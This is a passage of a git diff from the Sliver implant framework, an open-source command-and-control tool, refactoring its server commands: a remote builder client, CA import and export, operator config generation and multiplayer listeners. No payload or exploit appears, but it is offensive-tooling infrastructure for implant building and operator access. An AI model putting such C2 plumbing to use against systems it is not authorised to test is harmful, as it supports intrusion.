- builderLog.Fatalf("Invalid config file: %s", err)
- os.Exit(-1)
- }
- if externalBuilder.Name == "" {
- builderLog.Infof("No builder name was specified, attempting to use hostname")
- externalBuilder.Name, err = os.Hostname()
- if err != nil {
- builderLog.Errorf("Failed to get hostname: %s", err)
- externalBuilder.Name = fmt.Sprintf("%s's %s builder", config.Operator, runtime.GOOS)
- }
+ defer func() {
+ if r := recover(); r != nil {
+ builderLog.Printf("panic:\n%s", debug.Stack())
+ builderLog.Fatalf("stacktrace from panic: \n" + string(debug.Stack()))
+ os.Exit(99)
}
- builderLog.Infof("Hello my name is: %s", externalBuilder.Name)
+ }()
- // connect to the server
- builderLog.Infof("Connecting to %s@%s:%d ...", config.Operator, config.LHost, config.LPort)
- rpc, ln, err := transport.MTLSConnect(config)
- if err != nil {
- builderLog.Errorf("Failed to connect to server: %s", err)
- os.Exit(-2)
- }
- defer ln.Close()
- builder.StartBuilder(externalBuilder, rpc)
- },
+ externalBuilder := parseBuilderConfigFlags(cmd)
+ externalBuilder.Templates = []string{"sliver"}
+
+ // load the client configuration from the filesystem
+ return startBuilderClient(externalBuilder, configPath, team, con)
}
func parseBuilderConfigFlags(cmd *cobra.Command) *clientpb.Builder {
@@ -260,3 +256,90 @@ func parseForceDisableTargets(cmd *cobra.Command, externalBuilder *clientpb.Buil
}
}
}
+
+func startBuilderClient(externalBuilder *clientpb.Builder, configPath string, team *server.Server, con *console.SliverClient) error {
+ // Simply use our transport+RPC backend.
+ cli := transport.NewClient()
+
+ teamclient := team.Self(client.WithDialer(cli))
+
+ // Now use our teamclient to fetch the configuration.
+ config, err := teamclient.ReadConfig(configPath)
+ if err != nil {
+ builderLog.Fatalf("Invalid config file: %s", err)
+ os.Exit(-1)
+ }
+
+ if externalBuilder.Name == "" {
+ builderLog.Infof("No builder name was specified, attempting to use hostname")
+ externalBuilder.Name, err = os.Hostname()
+ if err != nil {
+ builderLog.Errorf("Failed to get hostname: %s", err)
+ externalBuilder.Name = fmt.Sprintf("%s's %s builder", config.User, runtime.GOOS)
+ }
+ }
+ builderLog.Infof("Hello my name is: %s", externalBuilder.Name)
+
+ builderLog.Infof("Connecting to %s@%s:%d ...", config.User, config.Host, config.Port)
+
+ // And immediately connect to it.
+ err = teamclient.Connect(client.WithConfig(config))
+ if err != nil {
+ return err
+ }
+
+ rpc := rpcpb.NewSliverRPCClient(cli.Conn)
+
+ defer teamclient.Disconnect()
+
+ // Let the builder do its work, blocking.
+ return builder.StartBuilder(externalBuilder, rpc, con)
+}
+
+// builderFormatsCompleter completes supported builders architectures.
+func builderFormatsCompleter() carapace.Action {
+ return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
+ return carapace.ActionMultiParts(":", func(c carapace.Context) carapace.Action {
+ var results []string
+
+ switch len(c.Parts) {
+
+ // Binary targets
+ case 1:
+ for _, target := range generate.GetCompilerTargets() {
+ results = append(results, fmt.Sprintf("%s/%s", target.GOOS, target.GOARCH))
+ }
+
+ for _, target := range generate.GetUnsupportedTargets() {
+ results = append(results, fmt.Sprintf("%s/%s", target.GOOS, target.GOARCH))
+ }
+
+ return carapace.ActionValues(results...).Tag("architectures")
+
+ // Binary formats
+ case 0:
+ for _, fmt := range []string{"executable", "exe", "exec", "pe"} {
+ results = append(results, fmt, clientpb.OutputFormat_EXECUTABLE.String())
+ }
+
+ for _, fmt := range []string{"shared-lib", "sharedlib", "dll", "so", "dylib"} {
+ results = append(results, fmt, clientpb.OutputFormat_SHARED_LIB.String())
+ }
+
+ for _, fmt := range []string{"service", "svc"} {
+ results = append(results, fmt, clientpb.OutputFormat_SERVICE.String())
+ }
+
+ for _, fmt := range []string{"shellcode", "shell", "sc"} {
+ results = append(results, fmt, clientpb.OutputFormat_SHELLCODE.String())
+ }
+
+ return carapace.ActionValuesDescribed(results...).Tag("formats").Suffix(":")
+ }
+
+ return carapace.ActionValues()
+ })
+ // Our flags --enable-target/--disable-targets are list,
+ // so users can coma-separate their values for a single flag.
+ }).UniqueList(",")
+}
diff --git a/server/command/certs/certs.go b/server/command/certs/certs.go
new file mode 100644
index 0000000000..57e8cedd2f
--- /dev/null
+++ b/server/command/certs/certs.go
@@ -0,0 +1,169 @@
+package certs
+
+/*
+ Sliver Implant Framework
+ Copyright (C) 2019 Bishop Fox
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "encoding/json"
+ "fmt"
+ "os"
+ "path/filepath"
+ "strings"
+
+ "github.com/bishopfox/sliver/client/console"
+ "github.com/bishopfox/sliver/server/certs"
+ "github.com/spf13/cobra"
+)
+
+// CATypes - CA types
+var CATypes = map[string]string{
+ "mtls": certs.MtlsImplantCA,
+ "https": certs.HTTPSCA,
+}
+
+const (
+ // Cert flags
+ caTypeFlagStr = "type"
+ loadFlagStr = "load"
+ saveFlagStr = "save"
+)
+
+// CA - Exported CA format
+type CA struct {
+ Certificate string `json:"certificate"`
+ PrivateKey string `json:"private_key"`
+}
+
+func validCATypes() []string {
+ types := []string{}
+ for caType := range CATypes {
+ types = append(types, caType)
+ }
+ return types
+}
+
+// Commands returns all commands for Sliver-specific Certificates management.
+func Commands(con *console.SliverClient) []*cobra.Command {
+ cmdImportCA := &cobra.Command{
+ Use: "import-ca",
+ Short: "Import certificate authority",
+ Long: ``,
+ Run: runBuilderCmd,
+ }
+
+ cmdExportCA := &cobra.Command{
+ Use: "export-ca",
+ Short: "Export certificate authority",
+ Long: ``,
+ Run: exportCACmd,
+ }
+
+ return []*cobra.Command{cmdImportCA, cmdExportCA}
+}
+
+func runBuilderCmd(cmd *cobra.Command, args []string) {
+ caType, err := cmd.Flags().GetString(caTypeFlagStr)
+ if err != nil {
+ fmt.Printf("Failed to parse --%s flag %s", caTypeFlagStr, err)
+ os.Exit(1)
+ }
+ ca, ok := CATypes[caType]
+ if !ok {
+ CAs := strings.Join(validCATypes(), ", ")
+ fmt.Printf("Invalid ca type '%s' must be one of %s", caType, CAs)
+ os.Exit(1)
+ }
+
+ load, err := cmd.Flags().GetString(loadFlagStr)
+ if err != nil {
+ fmt.Printf("Failed to parse --%s flag %s\n", loadFlagStr, err)
+ os.Exit(1)
+ }
+ fi, err := os.Stat(load)
+ if os.IsNotExist(err) || fi.IsDir() {
+ fmt.Printf("Cannot load file %s\n", load)
+ os.Exit(1)
+ }
+
+ data, err := os.ReadFile(load)
+ if err != nil {
+ fmt.Printf("Cannot read file %s", err)
+ os.Exit(1)
+ }
+
+ importCA := &CA{}
+ err = json.Unmarshal(data, importCA)
+ if err != nil {
+ fmt.Printf("Failed to parse file %s", err)
+ os.Exit(1)
+ }
+ cert := []byte(importCA.Certificate)
+ key := []byte(importCA.PrivateKey)
+ certs.SaveCertificateAuthority(ca, cert, key)
+}
+
+func exportCACmd(cmd *cobra.Command, args []string) {
+ caType, err := cmd.Flags().GetString(caTypeFlagStr)
+ if err != nil {
+ fmt.Printf("Failed to parse --%s flag %s", caTypeFlagStr, err)
+ os.Exit(1)
+ }
+ ca, ok := CATypes[caType]
+ if !ok {
+ CAs := strings.Join(validCATypes(), ", ")
+ fmt.Printf("Invalid ca type '%s' must be one of %s", caType, CAs)
+ os.Exit(1)
+ }
+
+ save, err := cmd.Flags().GetString(saveFlagStr)
+ if err != nil {
+ fmt.Printf("Failed to parse --%s flag %s\n", saveFlagStr, err)
+ os.Exit(1)
+ }
+ if save == "" {
+ save, _ = os.Getwd()
+ }
+
+ certs.SetupCAs()
+ certificateData, privateKeyData, err := certs.GetCertificateAuthorityPEM(ca)
+ if err != nil {
+ fmt.Printf("Error reading CA %s\n", err)
+ os.Exit(1)
+ }
+ exportedCA := &CA{
+ Certificate: string(certificateData),
+ PrivateKey: string(privateKeyData),
+ }
+
+ saveTo, _ := filepath.Abs(save)
+ fi, err := os.Stat(saveTo)
+ if !os.IsNotExist(err) && !fi.IsDir() {
+ fmt.Printf("File already exists: %s\n", err)
+ os.Exit(1)
+ }
+ if !os.IsNotExist(err) && fi.IsDir() {
+ filename := fmt.Sprintf("%s.ca", filepath.Base(caType))
+ saveTo = filepath.Join(saveTo, filename)
+ }
+ data, _ := json.Marshal(exportedCA)
+ err = os.WriteFile(saveTo, data, 0o600)
+ if err != nil {
+ fmt.Printf("Write failed: %s (%s)\n", saveTo, err)
+ os.Exit(1)
+ }
+}
diff --git a/server/command/server.go b/server/command/server.go
new file mode 100644
index 0000000000..6da25ad8fc
--- /dev/null
+++ b/server/command/server.go
@@ -0,0 +1,60 @@
+package command
+
+/*
+ Sliver Implant Framework
+ Copyright (C) 2019 Bishop Fox
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "github.com/spf13/cobra"
+
+ "github.com/reeflective/team/server"
+ "github.com/reeflective/team/server/commands"
+
+ "github.com/bishopfox/sliver/client/command"
+ "github.com/bishopfox/sliver/client/console"
+ "github.com/bishopfox/sliver/client/constants"
+ "github.com/bishopfox/sliver/server/command/assets"
+ "github.com/bishopfox/sliver/server/command/builder"
+ "github.com/bishopfox/sliver/server/command/certs"
+ "github.com/bishopfox/sliver/server/command/version"
+)
+
+var permissionsFlagStr = "permissions"
+
+// TeamserverCommands is the equivalent of client/command.ServerCommands(), but for server-binary only ones.
+func TeamserverCommands(team *server.Server, con *console.SliverClient) command.SliverBinder {
+ return func(con *console.SliverClient) (cmds []*cobra.Command) {
+ // Teamserver management
+ teamclientCmds := commands.Generate(team, con.Teamclient)
+ teamclientCmds.GroupID = constants.GenericHelpGroup
+ cmds = append(cmds, teamclientCmds)
+
+ // Sliver-specific teamserver stuff
+ operatorCmd, _, _ := teamclientCmds.Find([]string{"teamserver", "user"})
+ operatorCmd.Flags().StringSliceP(permissionsFlagStr, "P", []string{}, "grant permissions to the operator profile (all, builder, crackstation)")
+
+ // Sliver-specific
+ cmds = append(cmds, version.Commands(con)...)
+ cmds = append(cmds, assets.Commands()...)
+ cmds = append(cmds, certs.Commands(con)...)
+
+ // Commands requiring the server to be a remote teamclient.
+ cmds = append(cmds, builder.Commands(con, team)...)
+
+ return cmds
+ }
+}
diff --git a/server/cli/version.go b/server/command/version/version.go
similarity index 68%
rename from server/cli/version.go
rename to server/command/version/version.go
index b9784e35bb..c8fdbb365b 100644
--- a/server/cli/version.go
+++ b/server/command/version/version.go
@@ -1,4 +1,4 @@
-package cli
+package version
/*
Sliver Implant Framework
@@ -21,15 +21,20 @@ package cli
import (
"fmt"
+ "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/version"
"github.com/spf13/cobra"
)
-var versionCmd = &cobra.Command{
- Use: "version",
- Short: "Print version and exit",
- Long: ``,
- Run: func(cmd *cobra.Command, args []string) {
- fmt.Printf("%s\n", version.FullVersion())
- },
+func Commands(con *console.SliverClient) []*cobra.Command {
+ versionCmd := &cobra.Command{
+ Use: "version",
+ Short: "Print version and exit",
+ Long: ``,
+ Run: func(cmd *cobra.Command, args []string) {
+ fmt.Printf("%s\n", version.FullVersion())
+ },
+ }
+
+ return []*cobra.Command{versionCmd}
}
diff --git a/server/configs/server.go b/server/configs/server.go
index a9250aeba2..112fa92f50 100644
--- a/server/configs/server.go
+++ b/server/configs/server.go
@@ -35,9 +35,7 @@ const (
serverConfigFileName = "server.json"
)
-var (
- serverConfigLog = log.NamedLogger("config", "server")
-)
+var serverConfigLog = log.NamedLogger("config", "server")
// GetServerConfigPath - File path to config.json
func GetServerConfigPath() string {
@@ -63,18 +61,10 @@ type DaemonConfig struct {
// JobConfig - Restart Jobs on Load
type JobConfig struct {
- Multiplayer []*MultiplayerJobConfig `json:"multiplayer"`
- MTLS []*MTLSJobConfig `json:"mtls,omitempty"`
- WG []*WGJobConfig `json:"wg,omitempty"`
- DNS []*DNSJobConfig `json:"dns,omitempty"`
- HTTP []*HTTPJobConfig `json:"http,omitempty"`
-}
-
-type MultiplayerJobConfig struct {
- Host string `json:"host"`
- Port uint16 `json:"port"`
- JobID string `json:"job_id"`
- Tailscale bool `json:"tailscale"`
+ MTLS []*MTLSJobConfig `json:"mtls,omitempty"`
+ WG []*WGJobConfig `json:"wg,omitempty"`
+ DNS []*DNSJobConfig `json:"dns,omitempty"`
+ HTTP []*HTTPJobConfig `json:"http,omitempty"`
}
// MTLSJobConfig - Per-type job configs
@@ -141,7 +131,7 @@ func (c *ServerConfig) Save() error {
configDir := filepath.Dir(configPath)
if _, err := os.Stat(configDir); os.IsNotExist(err) {
serverConfigLog.Debugf("Creating config dir %s", configDir)
- err := os.MkdirAll(configDir, 0700)
+ err := os.MkdirAll(configDir, 0o700)
if err != nil {
return err
}
@@ -151,7 +141,7 @@ func (c *ServerConfig) Save() error {
return err
}
serverConfigLog.Infof("Saving config to %s", configPath)
- err = os.WriteFile(configPath, data, 0600)
+ err = os.WriteFile(configPath, data, 0o600)
if err != nil {
serverConfigLog.Errorf("Failed to write config %s", err)
}
diff --git a/server/console/console-admin.go b/server/console/console-admin.go
deleted file mode 100644
index e393e3ad47..0000000000
--- a/server/console/console-admin.go
+++ /dev/null
@@ -1,285 +0,0 @@
-package console
-
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "crypto/sha256"
- "encoding/hex"
- "encoding/json"
- "errors"
- "fmt"
- "log"
- "os"
- "path/filepath"
- "regexp"
-
- "github.com/spf13/cobra"
-
- consts "github.com/bishopfox/sliver/client/constants"
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/server/certs"
- "github.com/bishopfox/sliver/server/core"
- "github.com/bishopfox/sliver/server/db"
- "github.com/bishopfox/sliver/server/db/models"
- "github.com/bishopfox/sliver/server/transport"
-)
-
-const (
- // ANSI Colors
- normal = "\033[0m"
- black = "\033[30m"
- red = "\033[31m"
- green = "\033[32m"
- orange = "\033[33m"
- blue = "\033[34m"
- purple = "\033[35m"
- cyan = "\033[36m"
- gray = "\033[37m"
- bold = "\033[1m"
- clearln = "\r\x1b[2K"
- upN = "\033[%dA"
- downN = "\033[%dB"
- underline = "\033[4m"
-
- // Info - Display colorful information
- Info = bold + cyan + "[*] " + normal
- // Warn - Warn a user
- Warn = bold + red + "[!] " + normal
- // Debug - Display debug information
- Debug = bold + purple + "[-] " + normal
- // Woot - Display success
- Woot = bold + green + "[$] " + normal
-)
-
-var namePattern = regexp.MustCompile("^[a-zA-Z0-9_-]*$") // Only allow alphanumeric chars
-
-// ClientConfig - Client JSON config
-type ClientConfig struct {
- Operator string `json:"operator"`
- Token string `json:"token"`
- LHost string `json:"lhost"`
- LPort int `json:"lport"`
- CACertificate string `json:"ca_certificate"`
- PrivateKey string `json:"private_key"`
- Certificate string `json:"certificate"`
-}
-
-func newOperatorCmd(cmd *cobra.Command, _ []string) {
- name, _ := cmd.Flags().GetString("name")
- lhost, _ := cmd.Flags().GetString("lhost")
- lport, _ := cmd.Flags().GetUint16("lport")
- save, _ := cmd.Flags().GetString("save")
- permissions, _ := cmd.Flags().GetStringSlice("permissions")
-
- if save == "" {
- save, _ = os.Getwd()
- }
-
- fmt.Printf(Info + "Generating new client certificate, please wait ... \n")
- configJSON, err := NewOperatorConfig(name, lhost, lport, permissions)
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
-
- saveTo, _ := filepath.Abs(save)
- fi, err := os.Stat(saveTo)
- if !os.IsNotExist(err) && !fi.IsDir() {
- fmt.Printf(Warn+"File already exists %s\n", err)
- return
- }
- if !os.IsNotExist(err) && fi.IsDir() {
- filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(name), filepath.Base(lhost))
- saveTo = filepath.Join(saveTo, filename)
- }
- err = os.WriteFile(saveTo, configJSON, 0o600)
- if err != nil {
- fmt.Printf(Warn+"Failed to write config to: %s (%s) \n", saveTo, err)
- return
- }
- fmt.Printf(Info+"Saved new client config to: %s \n", saveTo)
-}
-
-// NewOperatorConfig - Generate a new player/client/operator configuration
-func NewOperatorConfig(operatorName string, lhost string, lport uint16, permissions []string) ([]byte, error) {
- if !namePattern.MatchString(operatorName) {
- return nil, errors.New("invalid operator name (alphanumerics only)")
- }
- if operatorName == "" {
- return nil, errors.New("operator name required")
- }
- if lhost == "" {
- return nil, errors.New("invalid lhost")
- }
- if len(permissions) == 0 {
- return nil, errors.New("must specify at least one permission")
- }
-
- rawToken := models.GenerateOperatorToken()
- digest := sha256.Sum256([]byte(rawToken))
- dbOperator := &models.Operator{
- Name: operatorName,
- Token: hex.EncodeToString(digest[:]),
- }
- for _, permission := range permissions {
- switch permission {
- case "all":
- dbOperator.PermissionAll = true
- break
- case "builder":
- dbOperator.PermissionBuilder = true
- case "crackstation":
- dbOperator.PermissionCrackstation = true
- default:
- return nil, fmt.Errorf("invalid permission: %s", permission)
- }
- }
- err := db.Session().Save(dbOperator).Error
- if err != nil {
- return nil, err
- }
-
- publicKey, privateKey, err := certs.OperatorClientGenerateCertificate(operatorName)
- if err != nil {
- return nil, fmt.Errorf("failed to generate certificate %s", err)
- }
- caCertPEM, _, _ := certs.GetCertificateAuthorityPEM(certs.OperatorCA)
- config := ClientConfig{
- Operator: operatorName,
- Token: rawToken,
- LHost: lhost,
- LPort: int(lport),
- CACertificate: string(caCertPEM),
- PrivateKey: string(privateKey),
- Certificate: string(publicKey),
- }
- return json.Marshal(config)
-}
-
-func kickOperatorCmd(cmd *cobra.Command, _ []string) {
- operator, _ := cmd.Flags().GetString("name")
-
- fmt.Printf(Info+"Removing auth token(s) for %s, please wait ... \n", operator)
- err := db.Session().Where(&models.Operator{
- Name: operator,
- }).Delete(&models.Operator{}).Error
- if err != nil {
- return
- }
- transport.ClearTokenCache()
- fmt.Printf(Info+"Removing client certificate(s) for %s, please wait ... \n", operator)
- err = certs.OperatorClientRemoveCertificate(operator)
- if err != nil {
- fmt.Printf(Warn+"Failed to remove the operator certificate: %v \n", err)
- return
- }
- fmt.Printf(Info+"Operator %s has been kicked out.\n", operator)
-}
-
-func startMultiplayerModeCmd(cmd *cobra.Command, _ []string) {
- lhost, _ := cmd.Flags().GetString("lhost")
- lport, _ := cmd.Flags().GetUint16("lport")
- tailscale, _ := cmd.Flags().GetBool("tailscale")
-
- var err error
- var jobID int
- if tailscale {
- _, err = jobStartTsNetClientListener(lhost, lport)
- } else {
- jobID, err = JobStartClientListener(&clientpb.MultiplayerListenerReq{Host: lhost, Port: uint32(lport)})
- }
- if err == nil {
- fmt.Printf(Info + "Multiplayer mode enabled!\n")
- multiConfig := &clientpb.MultiplayerListenerReq{Host: lhost, Port: uint32(lport)}
- listenerJob := &clientpb.ListenerJob{
- JobID: uint32(jobID),
- Type: "multiplayer",
- MultiConf: multiConfig,
- }
- err = db.SaveHTTPC2Listener(listenerJob)
- if err != nil {
- fmt.Printf(Warn+"Failed to save job %v\n", err)
- }
-
- } else {
- fmt.Printf(Warn+"Failed to start job %v\n", err)
- }
-}
-
-func JobStartClientListener(multiplayerListener *clientpb.MultiplayerListenerReq) (int, error) {
- _, ln, err := transport.StartMtlsClientListener(multiplayerListener.Host, uint16(multiplayerListener.Port))
- if err != nil {
- return -1, err // If we fail to bind don't setup the Job
- }
-
- job := &core.Job{
- ID: core.NextJobID(),
- Name: "grpc/mtls",
- Description: "client listener",
- Protocol: "tcp",
- Port: uint16(multiplayerListener.Port),
- JobCtrl: make(chan bool),
- }
-
- go func() {
- <-job.JobCtrl
- log.Printf("Stopping client listener (%d) ...\n", job.ID)
- ln.Close() // Kills listener GoRoutines in startMutualTLSListener() but NOT connections
-
- core.Jobs.Remove(job)
- core.EventBroker.Publish(core.Event{
- Job: job,
- EventType: consts.JobStoppedEvent,
- })
- }()
-
- core.Jobs.Add(job)
- return job.ID, nil
-}
-
-func jobStartTsNetClientListener(host string, port uint16) (int, error) {
- _, ln, err := transport.StartTsNetClientListener(host, port)
- if err != nil {
- return -1, err // If we fail to bind don't setup the Job
- }
-
- job := &core.Job{
- ID: core.NextJobID(),
- Name: "grpc/tsnet",
- Description: "client listener",
- Protocol: "tcp",
- Port: uint16(port),
- JobCtrl: make(chan bool),
- }
-
- go func() {
- <-job.JobCtrl
- log.Printf("Stopping client listener (%d) ...\n", job.ID)
- ln.Close() // Kills listener GoRoutines in startMutualTLSListener() but NOT connections
-
- core.Jobs.Remove(job)
- core.EventBroker.Publish(core.Event{
- Job: job,
- EventType: consts.JobStoppedEvent,
- })
- }()
-
- core.Jobs.Add(job)
- return job.ID, nil
-}
diff --git a/server/console/console-admin_test.go b/server/console/console-admin_test.go
deleted file mode 100644
index 7bb6c76f5d..0000000000
--- a/server/console/console-admin_test.go
+++ /dev/null
@@ -1,46 +0,0 @@
-package console
-
-import (
- "encoding/json"
- "encoding/pem"
- "testing"
-
- clienttransport "github.com/bishopfox/sliver/client/transport"
- "github.com/bishopfox/sliver/server/certs"
-)
-
-func TestRootOnlyVerifyCertificate(t *testing.T) {
- certs.SetupCAs()
-
- data, err := NewOperatorConfig("zerocool", "localhost", uint16(1337), []string{"all"})
- if err != nil {
- t.Fatalf("failed to generate test player profile %s", err)
- }
- config := &ClientConfig{}
- err = json.Unmarshal(data, config)
- if err != nil {
- t.Fatalf("failed to parse client config %s", err)
- }
-
- _, _, err = certs.OperatorServerGetCertificate("localhost")
- if err == certs.ErrCertDoesNotExist {
- certs.OperatorServerGenerateCertificate("localhost")
- }
-
- // Test with a valid certificate
- certPEM, _, _ := certs.OperatorServerGetCertificate("localhost")
- block, _ := pem.Decode(certPEM)
- err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
- if err != nil {
- t.Fatalf("root only verify certificate error: %s", err)
- }
-
- // Test with wrong CA
- wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false)
- block, _ = pem.Decode(wrongCert)
- err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
- if err == nil {
- t.Fatal("root only verify cert verified a certificate with invalid ca!")
- }
-
-}
diff --git a/server/console/console.go b/server/console/console.go
deleted file mode 100644
index ecafbc65c4..0000000000
--- a/server/console/console.go
+++ /dev/null
@@ -1,138 +0,0 @@
-package console
-
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "context"
- "fmt"
- "net"
-
- "github.com/rsteube/carapace"
- "github.com/spf13/cobra"
- "github.com/spf13/pflag"
-
- "github.com/bishopfox/sliver/client/command"
- "github.com/bishopfox/sliver/client/command/help"
- "github.com/bishopfox/sliver/client/console"
- consts "github.com/bishopfox/sliver/client/constants"
- clienttransport "github.com/bishopfox/sliver/client/transport"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/server/transport"
- "google.golang.org/grpc"
-)
-
-// Start - Starts the server console
-func Start() {
- _, ln, _ := transport.LocalListener()
- ctxDialer := grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) {
- return ln.Dial()
- })
-
- options := []grpc.DialOption{
- ctxDialer,
- grpc.WithInsecure(), // This is an in-memory listener, no need for secure transport
- grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(clienttransport.ClientMaxReceiveMessageSize)),
- }
- conn, err := grpc.DialContext(context.Background(), "bufnet", options...)
- if err != nil {
- fmt.Printf(Warn+"Failed to dial bufnet: %s\n", err)
- return
- }
- defer conn.Close()
- localRPC := rpcpb.NewSliverRPCClient(conn)
- con := console.NewConsole(false)
- console.StartClient(con, localRPC, command.ServerCommands(con, serverOnlyCmds), command.SliverCommands(con), true)
-
- con.App.Start()
-}
-
-// serverOnlyCmds - Server only commands
-func serverOnlyCmds() (commands []*cobra.Command) {
- // [ Multiplayer ] -----------------------------------------------------------------
-
- startMultiplayer := &cobra.Command{
- Use: consts.MultiplayerModeStr,
- Short: "Enable multiplayer mode",
- Long: help.GetHelpFor([]string{consts.MultiplayerModeStr}),
- Run: startMultiplayerModeCmd,
- GroupID: consts.MultiplayerHelpGroup,
- }
- command.Flags("multiplayer", false, startMultiplayer, func(f *pflag.FlagSet) {
- f.StringP("lhost", "L", "", "hostname to bind server to")
- f.Uint16P("lport", "l", 31337, "tcp listen port")
- f.BoolP("tailscale", "T", false, "only expose multiplayer interface over Tailscale (requires TS_AUTHKEY)")
- f.BoolP("persistent", "p", false, "make persistent across restarts")
- })
-
- commands = append(commands, startMultiplayer)
-
- newOperator := &cobra.Command{
- Use: consts.NewOperatorStr,
- Short: "Create a new operator config file",
- Long: newOperatorLongHelp,
- Run: newOperatorCmd,
- GroupID: consts.MultiplayerHelpGroup,
- }
- command.Flags("operator", false, newOperator, func(f *pflag.FlagSet) {
- f.StringP("lhost", "l", "", "listen host")
- f.Uint16P("lport", "p", 31337, "listen port")
- f.StringP("save", "s", "", "directory/file in which to save config")
- f.StringP("name", "n", "", "operator name")
- f.StringSliceP("permissions", "P", []string{}, "grant permissions to the operator profile (all, builder, crackstation)")
- })
- command.FlagComps(newOperator, func(comp *carapace.ActionMap) {
- (*comp)["save"] = carapace.ActionDirectories()
- })
- commands = append(commands, newOperator)
-
- kickOperator := &cobra.Command{
- Use: consts.KickOperatorStr,
- Short: "Kick an operator from the server",
- Long: help.GetHelpFor([]string{consts.KickOperatorStr}),
- Run: kickOperatorCmd,
- GroupID: consts.MultiplayerHelpGroup,
- }
-
- command.Flags("operator", false, kickOperator, func(f *pflag.FlagSet) {
- f.StringP("name", "n", "", "operator name")
- })
- commands = append(commands, kickOperator)
-
- return
-}
-
-const newOperatorLongHelp = `
-Create a new operator config file, operator configuration files allow
-remote machines to connect to the Sliver server. They are most commonly
-used for allowing remote operators to connect in "Multiplayer Mode."
-
-To generate a profile for a remote operator, you need to specify the
-the "all" permission to grant the profile access to all gRPC APIs:
-
-new-operator --name --lhost --permissions all
-
-Operator profiles can also be used to allow remote machines to connect to
-the Sliver server for other purposes, such as a "Remote Builder" or a
-"Crackstation."
-
-You can restrict profiles' permissions by using the --permissions flag, for
-example, to create a profile that can only be used as a "Remote Builder":
-
-new-operator --name --lhost --permissions builder
-`
diff --git a/server/core/clients.go b/server/core/clients.go
index aa2d49d091..96c90755e8 100644
--- a/server/core/clients.go
+++ b/server/core/clients.go
@@ -23,6 +23,7 @@ import (
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
+ "golang.org/x/exp/slices"
)
var (
@@ -72,7 +73,9 @@ func (cc *clients) ActiveOperators() []string {
defer cc.mutex.Unlock()
operators := []string{}
for _, client := range cc.active {
- operators = append(operators, client.Operator.Name)
+ if !slices.Contains(operators, client.Operator.Name) {
+ operators = append(operators, client.Operator.Name)
+ }
}
return operators
}
diff --git a/server/core/events.go b/server/core/events.go
index 9313696151..d5114df3e6 100644
--- a/server/core/events.go
+++ b/server/core/events.go
@@ -24,11 +24,17 @@ import (
const (
// Size is arbitrary, just want to avoid weird cases where we'd block on channel sends
- eventBufSize = 5
+ //
+ // NOTE: Changed by me: when clients are one-time exec CLI commands, you don't know how
+ // fast they connect/disconnect from their RPC.Events() call.
+ // When the event channels are buffered, sooner or later the broker writes to a closed
+ // channel. Just make it one so that this does not happen.
+ eventBufSize = 0
)
// Event - An event is fired when there's a state change involving a
-// session, job, or client.
+//
+// session, job, or client.
type Event struct {
Session *Session
Job *Job
@@ -57,6 +63,7 @@ func (broker *eventBroker) Start() {
case <-broker.stop:
for sub := range subscribers {
close(sub)
+ delete(subscribers, sub)
}
return
case sub := <-broker.subscribe:
@@ -106,7 +113,5 @@ func newBroker() *eventBroker {
return broker
}
-var (
- // EventBroker - Distributes event messages
- EventBroker = newBroker()
-)
+// EventBroker - Distributes event messages
+var EventBroker = newBroker()
diff --git a/server/core/rtunnels/rtunnels.go b/server/core/rtunnels/rtunnels.go
index 4841989f51..312f254461 100644
--- a/server/core/rtunnels/rtunnels.go
+++ b/server/core/rtunnels/rtunnels.go
@@ -10,7 +10,7 @@ var (
mutex sync.RWMutex
)
-// RTunnel - Duplex byte read/write
+// RTunnel - Duplex byte read/write.
type RTunnel struct {
ID uint64
SessionID string
@@ -62,7 +62,7 @@ func (c *RTunnel) IncWriteSequence() {
c.writeSequence += 1
}
-// Close - close RTunnel reader and writer
+// Close - close RTunnel reader and writer.
func (c *RTunnel) Close() {
for _, rc := range c.Readers {
if rc != nil {
